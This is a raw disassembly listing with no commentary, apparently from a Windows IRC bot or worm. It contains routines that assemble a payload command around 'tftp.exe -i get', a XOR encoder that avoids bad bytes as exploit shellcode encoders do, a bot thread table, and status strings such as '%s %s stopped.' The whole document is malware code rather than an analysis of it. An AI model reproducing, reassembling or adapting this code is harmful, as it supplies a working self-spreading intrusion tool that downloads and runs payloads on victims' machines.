loc_40AD3B:				; CODE XREF: ___:0040AD1Bj
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40AD4B
		mov	esi, offset dword_431618
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD4B:				; CODE XREF: ___:0040AD42j
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40AD92
		mov	esi, offset dword_431614
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD5B:				; CODE XREF: ___:0040AD12j
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40AD92
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AD74
		mov	esi, offset dword_431610
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD74:				; CODE XREF: ___:0040AD6Bj
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40AD84
		mov	esi, offset dword_43160C
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD84:				; CODE XREF: ___:0040AD7Bj
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_431608
		jz	short loc_40AD97


loc_40AD92:				; CODE XREF: ___:0040AD52j
					; ___:0040AD62j
		mov	esi, offset dword_431604


loc_40AD97:				; CODE XREF: ___:0040AD32j
					; ___:0040AD39j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_4315FC
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40ADDB


loc_40ADB5:				; CODE XREF: ___:0040ADD9j
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B89C
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ADB5


loc_40ADDB:				; CODE XREF: ___:0040ADB3j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ADE1	proc near		; CODE XREF: sub_40AE84+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		nop
		call	near ptr 26B0C98h
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_40AE30
		call	dword_4CB9E0
		test	eax, eax
		mov	eax, offset off_43162C
		jnz	short loc_40AE19
		mov	eax, offset byte_43DB88


loc_40AE19:				; CODE XREF: sub_40ADE1+31j
		push	eax
		push	esi
		push	offset dword_431624
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	short loc_40AE50
; ---------------------------------------------------------------------------


loc_40AE30:				; CODE XREF: sub_40ADE1+22j
		call	dword_4CB9E0
		test	eax, eax
		mov	eax, offset off_43162C
		jnz	short loc_40AE44
		mov	eax, offset byte_43DB88


loc_40AE44:				; CODE XREF: sub_40ADE1+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_40AE50:				; CODE XREF: sub_40ADE1+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41B9C0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40AE7F
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41CBC0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		add	esp, 18h


loc_40AE7F:				; CODE XREF: sub_40ADE1+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40ADE1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE84	proc near		; CODE XREF: sub_4017ED+7Fp
					; sub_401955+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_42D91C


loc_40AE90:				; CODE XREF: sub_40AE84+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_40AEAB
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_41CA50
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40AEB5
; ---------------------------------------------------------------------------


loc_40AEAB:				; CODE XREF: sub_40AE84+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_40AEB5:				; CODE XREF: sub_40AE84+25j
		test	eax, eax
		jnz	short loc_40AEC7
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_42D9A8
		jb	short loc_40AE90
		jmp	short loc_40AED5
; ---------------------------------------------------------------------------


loc_40AEC7:				; CODE XREF: sub_40AE84+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_42D920[eax*4]
		pop	ecx


loc_40AED5:				; CODE XREF: sub_40AE84+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40AEE8
		push	[ebp+arg_0]
		call	sub_40ADE1
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40AEE8:				; CODE XREF: sub_40AE84+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40AE84	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0B8h
		push	ebx
		push	esi
		lea	eax, [ebp-0B8h]
		push	edi
		push	eax
		mov	edi, offset byte_43DB88
		mov	dword ptr [ebp-0B8h], 94h
		call	near ptr 26F0601h
		nop
		cmp	dword ptr [ebp-0B4h], 4
		push	0Ah
		pop	ebx
		jnz	short loc_40AF67
		cmp	dword ptr [ebp-0B0h], 0
		jnz	short loc_40AF48
		cmp	dword ptr [ebp-0A8h], 1
		jnz	short loc_40AF38
		mov	edi, offset dword_431620


loc_40AF38:				; CODE XREF: ___:0040AF31j
		cmp	dword ptr [ebp-0A8h], 2
		jnz	short loc_40AFA3
		mov	edi, offset dword_43161C
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF48:				; CODE XREF: ___:0040AF28j
		cmp	[ebp-0B0h], ebx
		jnz	short loc_40AF57
		mov	edi, offset dword_431618
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF57:				; CODE XREF: ___:0040AF4Ej
		cmp	dword ptr [ebp-0B0h], 5Ah
		jnz	short loc_40AF9E
		mov	edi, offset dword_431614
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF67:				; CODE XREF: ___:0040AF1Fj
		cmp	dword ptr [ebp-0B4h], 5
		jnz	short loc_40AF9E
		cmp	dword ptr [ebp-0B0h], 0
		jnz	short loc_40AF80
		mov	edi, offset dword_431610
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF80:				; CODE XREF: ___:0040AF77j
		cmp	dword ptr [ebp-0B0h], 1
		jnz	short loc_40AF90
		mov	edi, offset dword_43160C
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF90:				; CODE XREF: ___:0040AF87j
		cmp	dword ptr [ebp-0B0h], 2
		mov	edi, offset dword_431684
		jz	short loc_40AFA3


loc_40AF9E:				; CODE XREF: ___:0040AF5Ej
					; ___:0040AF6Ej
		mov	edi, offset dword_431680


loc_40AFA3:				; CODE XREF: ___:0040AF3Fj
					; ___:0040AF46j ...
		lea	eax, [ebp-0A4h]
		push	offset word_4CB88C
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AFC1
		mov	esi, offset dword_43167C
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------


loc_40AFC1:				; CODE XREF: ___:0040AFB8j
		lea	eax, [ebp-0A4h]
		push	offset a1	; "1"
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AFDF
		mov	esi, offset sub_431678
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------


loc_40AFDF:				; CODE XREF: ___:0040AFD6j
		lea	eax, [ebp-0A4h]
		push	offset dword_431674
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AFFD
		mov	esi, offset dword_431670
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------


loc_40AFFD:				; CODE XREF: ___:0040AFF4j
		lea	eax, [ebp-0A4h]
		push	offset dword_43166C
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B01B
		mov	esi, offset dword_431668
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------


loc_40B01B:				; CODE XREF: ___:0040B012j
		lea	eax, [ebp-0A4h]
		push	offset dword_431664
		push	eax
		call	sub_41C2E0
		pop	ecx
		mov	esi, offset dword_431660
		test	eax, eax
		pop	ecx
		jnz	short loc_40B03C
		mov	esi, offset off_43165C


loc_40B03C:				; CODE XREF: ___:0040AFBFj
					; ___:0040AFDDj ...
		lea	eax, [ebp-0Ch]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	eax
		or	dword ptr [ebp-8], 0FFFFFFFFh
		or	dword ptr [ebp-0Ch], 0FFFFFFFFh
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	0
		call	sub_41ADD8
		pop	ecx
		push	eax
		call	sub_41CCE3
		mov	eax, [ebp-4]
		add	esp, 14h
		cmp	eax, ebx
		jge	short loc_40B086
		push	eax
		push	offset a0D	; "0%d"
		lea	eax, [ebp-18h]
		push	ebx
		push	eax
		call	sub_41C360
		add	esp, 10h
		jmp	short loc_40B0AA
; ---------------------------------------------------------------------------


loc_40B086:				; CODE XREF: ___:0040B06Fj
		cmp	eax, 64h
		jge	short loc_40B098
		lea	ecx, [ebp-18h]
		push	ebx
		push	ecx
		push	eax
		call	sub_42635C
		jmp	short loc_40B0A7
; ---------------------------------------------------------------------------


loc_40B098:				; CODE XREF: ___:0040B089j
		push	offset a99	; "99"
		lea	eax, [ebp-18h]
		push	ebx
		push	eax
		call	sub_41C360


loc_40B0A7:				; CODE XREF: ___:0040B096j
		add	esp, 0Ch


loc_40B0AA:				; CODE XREF: ___:0040B084j
		nop
		call	near ptr 26B0C98h
		push	eax
		call	sub_41C2B8
		pop	ecx
		lea	eax, [ebp-24h]
		push	ebx
		push	eax
		push	7
		push	800h
		nop
		call	near ptr 26F0000h
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		lea	eax, [ebp-24h]
		push	edi
		mov	edi, [ebp+8]
		push	eax
		push	offset aSSSS	; "%s|%s|%s|%s|"
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 1Ch
		cmp	dword_429098, esi
		jle	short loc_40B115


loc_40B0F0:				; CODE XREF: ___:0040B113j
		call	sub_41C2C2
		cdq
		mov	ecx, ebx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B89C
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40B0F0


loc_40B115:				; CODE XREF: ___:0040B0EEj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B11C	proc near		; CODE XREF: sub_40B13C+Ap
					; sub_40B214+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_41B9C0
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_41B9C0
		pop	ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	ecx
		pop	esi
		retn
sub_40B11C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B13C	proc near		; CODE XREF: sub_40B22B+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40B11C
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_40B159
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40B159:				; CODE XREF: sub_40B13C+17j
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		call	sub_41B9C0
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_41B9C0
		mov	edi, eax
		mov	ebx, [ebp+arg_0]
		push	0FFFFFFEDh
		lea	eax, [edi+esi+12h]
		mov	dword_43171C, eax
		lea	eax, [edi+1]
		mov	dword_43173D, eax
		lea	eax, [edi+17h]
		mov	dword_431735, eax
		pop	eax
		push	74h
		sub	eax, edi
		push	offset dword_4316B8
		push	ebx
		mov	dword_43174B, eax
		call	sub_41CD20
		push	esi
		lea	eax, [ebx+74h]
		push	[ebp+arg_8]
		push	eax
		call	sub_41CD20
		add	esi, 74h
		push	5
		push	(offset	aTftp_exeIGet+0Ch)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41CD20
		add	esi, 5
		push	edi
		push	[ebp+arg_C]
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41CD20
		add	esi, edi
		push	10h
		push	(offset	aTftp_exeIGet+11h)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41CD20
		add	esp, 44h
		add	esi, 10h
		push	edi
		lea	eax, [esi+ebx]
		push	[ebp+arg_C]
		push	eax
		call	sub_41CD20
		add	esi, edi
		push	38h
		add	esi, ebx
		push	offset byte_431741
		push	esi
		call	sub_41CD20
		mov	eax, [ebp+var_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B13C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B214	proc near		; CODE XREF: sub_40B22B+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40B11C
		push	eax
		call	sub_40B298
		add	esp, 0Ch
		retn
sub_40B214	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B22B	proc near		; CODE XREF: sub_40DCF9+32p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_C]
		push	edi
		push	ebx
		call	sub_40B214
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		ja	short loc_40B24B
		cmp	eax, 0FFFFh
		jbe	short loc_40B24F


loc_40B24B:				; CODE XREF: sub_40B22B+17j
		xor	eax, eax
		jmp	short loc_40B294
; ---------------------------------------------------------------------------


loc_40B24F:				; CODE XREF: sub_40B22B+1Ej
		push	esi
		push	edi
		push	ebx
		call	sub_40B11C
		add	eax, 101h
		push	eax
		call	sub_41BEB5
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_40B11C
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_40B13C
		push	eax
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B3
		push	esi
		mov	edi, eax
		call	sub_41BA91
		add	esp, 24h
		mov	eax, edi
		pop	esi


loc_40B294:				; CODE XREF: sub_40B22B+22j
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_40B22B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B298	proc near		; CODE XREF: sub_40B214+Ep
					; sub_40B2B3+4Ap

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_40B2A1
		inc	ecx


loc_40B2A1:				; CODE XREF: sub_40B298+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_40B298	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2B3	proc near		; CODE XREF: sub_40B22B+56p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	byte ptr [ebp+arg_C], 0Ah
		jz	short loc_40B2CF
		cmp	byte ptr [ebp+arg_C], 0Dh
		jz	short loc_40B2CF
		cmp	byte ptr [ebp+arg_C], 5Ch
		jz	short loc_40B2CF
		cmp	byte ptr [ebp+arg_C], 0
		jnz	short loc_40B2D2


loc_40B2CF:				; CODE XREF: sub_40B2B3+8j
					; sub_40B2B3+Ej ...
		inc	[ebp+arg_C]


loc_40B2D2:				; CODE XREF: sub_40B2B3+1Aj
		push	esi
		mov	esi, 0FFh
		cmp	[ebp+arg_C], esi
		jbe	short loc_40B2FA
		mov	eax, [ebp+arg_C]
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_40B2F3
		cmp	al, 0Dh
		jz	short loc_40B2F3
		cmp	al, 5Ch
		jz	short loc_40B2F3
		test	al, al
		jnz	short loc_40B2FA


loc_40B2F3:				; CODE XREF: sub_40B2B3+32j
					; sub_40B2B3+36j ...
		add	[ebp+arg_C], 100h


loc_40B2FA:				; CODE XREF: sub_40B2B3+28j
					; sub_40B2B3+3Ej
		push	[ebp+arg_C]
		call	sub_40B298
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_4], eax
		ja	short loc_40B312
		cmp	eax, 0FFFFh
		jbe	short loc_40B319


loc_40B312:				; CODE XREF: sub_40B2B3+56j
		xor	eax, eax
		jmp	loc_40B3B7
; ---------------------------------------------------------------------------


loc_40B319:				; CODE XREF: sub_40B2B3+5Dj
		mov	ecx, [ebp+arg_C]
		push	ebx
		mov	bl, byte_4CBB18
		xor	edx, edx
		push	edi
		mov	edi, [ebp+arg_8]
		test	ecx, ecx
		jbe	short loc_40B349


loc_40B32D:				; CODE XREF: sub_40B2B3+94j
		mov	al, [edx+edi]
		xor	al, bl
		jz	short loc_40B340
		cmp	al, 0Ah
		jz	short loc_40B340
		cmp	al, 0Dh
		jz	short loc_40B340
		cmp	al, 5Ch
		jnz	short loc_40B344


loc_40B340:				; CODE XREF: sub_40B2B3+7Fj
					; sub_40B2B3+83j ...
		inc	bl
		xor	edx, edx


loc_40B344:				; CODE XREF: sub_40B2B3+8Bj
		inc	edx
		cmp	edx, ecx
		jb	short loc_40B32D


loc_40B349:				; CODE XREF: sub_40B2B3+78j
		cmp	ecx, esi
		mov	byte_4CBB18, bl
		ja	short loc_40B375
		push	15h
		push	offset loc_4316A0
		push	[ebp+arg_0]
		mov	byte_4316AD, cl
		mov	byte_4316B1, bl
		call	sub_41CD20
		add	esp, 0Ch
		push	15h
		jmp	short loc_40B396
; ---------------------------------------------------------------------------


loc_40B375:				; CODE XREF: sub_40B2B3+9Ej
		push	17h
		push	offset loc_431688
		push	[ebp+arg_0]
		mov	word_431696, cx
		mov	byte_43169B, bl
		call	sub_41CD20
		add	esp, 0Ch
		push	17h


loc_40B396:				; CODE XREF: sub_40B2B3+C0j
		xor	eax, eax
		pop	ecx
		cmp	[ebp+arg_C], eax
		jbe	short loc_40B3B2
		mov	edx, [ebp+arg_0]
		lea	esi, [ecx+edx]


loc_40B3A4:				; CODE XREF: sub_40B2B3+FDj
		mov	cl, [eax+edi]
		xor	cl, bl
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [ebp+arg_C]
		jb	short loc_40B3A4


loc_40B3B2:				; CODE XREF: sub_40B2B3+E9j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx


loc_40B3B7:				; CODE XREF: sub_40B2B3+61j
		pop	esi
		leave
		retn
sub_40B2B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B3BA	proc near		; CODE XREF: ___:00401599p
					; ___:004015D8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43E710


loc_40B3C2:				; CODE XREF: sub_40B3BA+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40B3D6
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4CB710
		jl	short loc_40B3C2
		jmp	short loc_40B421
; ---------------------------------------------------------------------------


loc_40B3D6:				; CODE XREF: sub_40B3BA+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_43E710[esi]
		push	eax
		call	sub_41BFD0
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_43E910[esi], eax
		and	dword_43E914[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_43E918[esi], 0
		mov	dword_43E91C[esi], eax
		and	byte_43E928[esi], 0
		pop	esi


loc_40B421:				; CODE XREF: sub_40B3BA+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40B3BA	endp

; ---------------------------------------------------------------------------
byte_40B425	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2946o
		dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh
		dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h,	6C858D00h, 0FFFFFFFFh
		dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh
		dd 0C4830000h, 90006A14h, 2F4B8BE8h, 555E5F02h,	0EC81EC8Bh
		dd 200h, 6A5756h, 681075FFh, 43177Ch, 0FF0C75FFh, 0D2E80875h
		dd 83FFFFE3h, 0FF3314C4h, 43E710BEh, 3E8000h, 7D833C74h
		dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h
		dd 0C54068FFh, 0E8500042h, 10D9Eh, 858D016Ah, 0FFFFFE00h
		dd 501075FFh, 0FF0C75FFh, 8AE80875h, 83FFFFE3h,	0C68124C4h
		dd 234h, 10FE8147h, 7C004CB7h, 0C95E5FB0h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B4F5	proc near		; CODE XREF: sub_401ACD+79AAp
					; sub_40B583+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40B57D
		cmp	esi, 400h
		jge	short loc_40B57D
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_43E924[esi]
		lea	edi, dword_43E924[esi]
		nop
		call	near ptr 26B0D20h
		cmp	[edi], ebx
		jz	short loc_40B52D
		push	1
		pop	ebp


loc_40B52D:				; CODE XREF: sub_40B4F5+33j
		mov	[edi], ebx
		lea	edi, dword_43E918[esi]
		mov	dword_43E910[esi], ebx
		mov	dword_43E914[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40B54E
		push	eax
		call	sub_419F16
		pop	ecx


loc_40B54E:				; CODE XREF: sub_40B4F5+50j
		mov	[edi], ebx
		lea	edi, dword_43E91C[esi]
		mov	byte ptr dword_43E710[esi], bl
		mov	byte_43E928[esi], bl
		push	dword ptr [edi]
		call	dword_4CBA6C
		lea	esi, dword_43E920[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4CBA6C
		mov	[esi], ebx
		pop	edi


loc_40B57D:				; CODE XREF: sub_40B4F5+Dj
					; sub_40B4F5+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B4F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B583	proc near		; CODE XREF: sub_40111D+18p
					; ___:loc_4017D9p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43E710


loc_40B58F:				; CODE XREF: sub_40B583+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B5A0
		push	edi
		call	sub_40B4F5
		test	eax, eax
		pop	ecx
		jz	short loc_40B5A0
		inc	ebx


loc_40B5A0:				; CODE XREF: sub_40B583+Fj
					; sub_40B583+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CB710
		jl	short loc_40B58F
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B583	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B5B5	proc near		; CODE XREF: sub_401ACD+41B2p
					; sub_401ACD+4302p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43E914


loc_40B5C9:				; CODE XREF: sub_40B5B5+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B5EB
		test	edi, edi
		jle	short loc_40B5DD
		cmp	[esi], edi
		jz	short loc_40B5DD
		cmp	ebx, edi
		jnz	short loc_40B5EB


loc_40B5DD:				; CODE XREF: sub_40B5B5+1Ej
					; sub_40B5B5+22j
		push	ebx
		call	sub_40B4F5
		test	eax, eax
		pop	ecx
		jz	short loc_40B5EB
		inc	[ebp+var_4]


loc_40B5EB:				; CODE XREF: sub_40B5B5+1Aj
					; sub_40B5B5+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4CB914
		jl	short loc_40B5C9
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B5B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B602	proc near		; CODE XREF: ___:00401630p
					; sub_401ACD+95Ep ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43E910


loc_40B609:				; CODE XREF: sub_40B602+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B612
		inc	eax


loc_40B612:				; CODE XREF: sub_40B602+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4CB910
		jl	short loc_40B609
		retn
sub_40B602	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B621	proc near		; CODE XREF: sub_401ACD+23D9p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_43E910


loc_40B62B:				; CODE XREF: sub_40B621+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40B644
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4CB910
		jl	short loc_40B62B
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40B644:				; CODE XREF: sub_40B621+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B621	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B648	proc near		; CODE XREF: sub_401ACD+123Dp
					; sub_401ACD+125Bp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40B661
		push	[ebp+arg_1C]
		call	sub_41C159
		pop	ecx


loc_40B661:				; CODE XREF: sub_40B648+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B5B5
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40B68D
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_40B6A7
; ---------------------------------------------------------------------------


loc_40B68D:				; CODE XREF: sub_40B648+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_41C266
		add	esp, 10h


loc_40B6A7:				; CODE XREF: sub_40B648+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B6C7
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_40B6C7:				; CODE XREF: sub_40B648+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		pop	ecx
		leave
		retn
sub_40B648	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B6D6	proc near		; CODE XREF: sub_4017ED+159p
					; ___:0040BD0Bp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_43E924[eax], ecx
		mov	dword_43E910[eax], ecx
		mov	dword_43E914[eax], ecx
		mov	dword_43E918[eax], ecx
		mov	dword_43E91C[eax], ecx
		mov	dword_43E920[eax], ecx
		mov	byte ptr dword_43E710[eax], cl
		mov	byte_43E928[eax], cl
		retn
sub_40B6D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


